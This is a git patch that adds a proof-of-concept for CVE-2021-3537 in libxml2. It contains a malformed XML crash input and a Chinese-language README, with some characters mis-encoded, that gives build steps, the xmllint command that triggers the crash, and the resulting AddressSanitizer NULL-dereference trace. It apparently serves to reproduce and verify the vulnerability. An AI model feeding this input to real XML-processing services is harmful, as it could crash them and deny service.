From 14add2868a65ec99762877175d8091963184d95d Mon Sep 17 00:00:00 2001
From: "LI, WENJIE" <liwenjie@kylinos.cn>
Date: Wed, 30 Nov 2022 22:05:59 +0800
Subject: [PATCH] add CVE-2021-3537.

---
 .../2021/CVE-2021-3537/CVE-2021-3537-poc      |  23 ++++
 cve/libxml2/2021/CVE-2021-3537/README.md      | 118 ++++++++++++++++++
 2 files changed, 141 insertions(+)
 create mode 100644 cve/libxml2/2021/CVE-2021-3537/CVE-2021-3537-poc
 create mode 100644 cve/libxml2/2021/CVE-2021-3537/README.md

diff --git a/cve/libxml2/2021/CVE-2021-3537/CVE-2021-3537-poc b/cve/libxml2/2021/CVE-2021-3537/CVE-2021-3537-poc
new file mode 100644
index 00000000..83fe4f1b
--- /dev/null
+++ b/cve/libxml2/2021/CVE-2021-3537/CVE-2021-3537-poc
@@ -0,0 +1,23 @@
+<!DOCTYPE[<!ELEMENT
+
+:(ÿÿ<!ELEMENT
+
+:(ÿÿ.,()+><:>
+
+
+
+
+
+<YPE[<!Ò><�÷ßóELEMEÿÿ<!ELEMENT
+
+:(ÿÿ.,:)+NT
+
+:(ÿÿ<=ELEMENT
+
+:(ÿÿ.,:)*><:>
+
+
+
+
+
+<d><]@?
\ No newline at end of file
diff --git a/cve/libxml2/2021/CVE-2021-3537/README.md b/cve/libxml2/2021/CVE-2021-3537/README.md
new file mode 100644
index 00000000..56b1d099
--- /dev/null
+++ b/cve/libxml2/2021/CVE-2021-3537/README.md
@@ -0,0 +1,118 @@
+## �洞验�
+### 下载��  
+https://gitee.com/openkylin/libxml2 (版本：2.9.10+dfsg-ok1)
+
+### 编译
+```bash
+$ cd libxml2
+#下载编译�赖
+$ sudo apt install  libicu-dev liblzma-dev  libpython3-all-dbg libpython3-all-dev pkg-config  python3-all-dbg python3-all-dev rename zlib1g-dev
+#开�-ggdb -fsanitize=address
+$ CFLAGS="-ggdb -fsanitize=address" ./configure
+#编译
+$ make
+```
+
+### �洞�现
+```bash
+$ ./xmllint --recover --postvalid ../CVE/CVE-2021-3537-poc
+../CVE/CVE-2021-3537-poc:1: parser error : xmlParseDocTypeDecl : no DOCTYPE name !
+<!DOCTYP[<!ELEMENT
+         ^
+../CVE/CVE-2021-3537-poc:1: parser error : DOCTYPE improperly terminated
+<!DOCTYP[<!ELEMENT
+         ^
+../CVE/CVE-2021-3537-poc:3: parser error : Space required after the element name
+:(<!ELEMENT
+ ^
+../CVE/CVE-2021-3537-poc:3: parser error : Input is not proper UTF-8, indicate encoding !
+Bytes: 0xFF 0xFF 0x3C 0x21
+:(<!ELEMENT
+  ^
+../CVE/CVE-2021-3537-poc:3: parser error : ContentDecl : ',' '|' or ')' expected
+:(<!ELEMENT
+    ^
+../CVE/CVE-2021-3537-poc:3: parser error : expected '>'
+:(<!ELEMENT
+    ^
+../CVE/CVE-2021-3537-poc:5: parser error : Space required after the element name
+:(.,()+><:>
+ ^
+../CVE/CVE-2021-3537-poc:5: parser error : ContentDecl : Name or '(' expected
+:(.,()+><:>
+       ^
+../CVE/CVE-2021-3537-poc:5: parser error : internal error: xmlParseInternalSubset: error detected in Markup declaration
+
+:(.,()+><:>
+          ^
+../CVE/CVE-2021-3537-poc:5: parser error : DOCTYPE improperly terminated
+:(.,()+><:>
+          ^
+../CVE/CVE-2021-3537-poc:5: namespace error : Failed to parse QName ':'
+:(.,()+><:>
+            ^
+../CVE/CVE-2021-3537-poc:11: parser error : Couldn't find end of Start Tag YPE line 11
+<YPE[<!�<�ELEME<!ELEMENT
+    ^
+../CVE/CVE-2021-3537-poc:11: parser error : PCDATA invalid Char value 29
+<YPE[<!�<�ELEME<!ELEMENT
+    ^
+../CVE/CVE-2021-3537-poc:11: parser error : StartTag: invalid element name
+<YPE[<!�<�ELEME<!ELEMENT
+       ^
+../CVE/CVE-2021-3537-poc:11: parser error : StartTag: invalid element name
+<YPE[<!�<�ELEME<!ELEMENT
+           ^
+../CVE/CVE-2021-3537-poc:11: parser error : StartTag: invalid element name
+<YPE[<!�<�ELEME<!ELEMENT
+                       ^
+../CVE/CVE-2021-3537-poc:15: parser error : StartTag: invalid element name
+:(<=ELEMENT
+     ^
+../CVE/CVE-2021-3537-poc:17: namespace error : Failed to parse QName ':'
+:(.,:)*><:>
+            ^
+../CVE/CVE-2021-3537-poc:23: parser error : StartTag: invalid element name
+<d><]@?
+    ^
+../CVE/CVE-2021-3537-poc:23: parser error : EndTag: '</' not found
+<d><]@?
+       ^
+output error : string is not in UTF-8
+<?xml version="1.0"?>
+<!DOCTYPE  [
+<!ELEMENT : (. , >
+]>
+<:>
+
+
+
+
+
+<YPE/><:>
+
+
+
+
+
+<d>]@?</d></:></:>
+AddressSanitizer:DEADLYSIGNAL
+=================================================================
+==18011==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f16b52bdd80 bp 0x7ffe22b96a50 sp 0x7ffe22b96920 T0)
+==18011==The signal is caused by a READ memory access.
+==18011==Hint: address points to the zero page.
+    #0 0x7f16b52bdd7f in xmlValidBuildAContentModel /data1/libxml2-openkylin-yangtze/valid.c:729
+    #1 0x7f16b52bebc7 in xmlValidBuildContentModel__internal_alias /data1/libxml2-openkylin-yangtze/valid.c:839
+    #2 0x7f16b52d0c69 in xmlValidateElementContent /data1/libxml2-openkylin-yangtze/valid.c:5330
+    #3 0x7f16b52d4ab6 in xmlValidateOneElement__internal_alias /data1/libxml2-openkylin-yangtze/valid.c:6234
+    #4 0x7f16b52d61c3 in xmlValidateElement__internal_alias /data1/libxml2-openkylin-yangtze/valid.c:6479
+    #5 0x7f16b52d8893 in xmlValidateDocument__internal_alias /data1/libxml2-openkylin-yangtze/valid.c:6942
+    #6 0x564d2e3c2703 in parseAndPrintFile /data1/libxml2-openkylin-yangtze/xmllint.c:2799
+    #7 0x564d2e3c8cba in main /data1/libxml2-openkylin-yangtze/xmllint.c:3728
+    #8 0x7f16b4f7c0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
+    #9 0x564d2e3b8aed in _start (/data1/libxml2-openkylin-yangtze/.libs/xmllint+0xfaed)
+
+AddressSanitizer can not provide additional info.
+SUMMARY: AddressSanitizer: SEGV /data1/libxml2-openkylin-yangtze/valid.c:729 in xmlValidBuildAContentModel
+==18011==ABORTING
+```
\ No newline at end of file
-- 
Gitee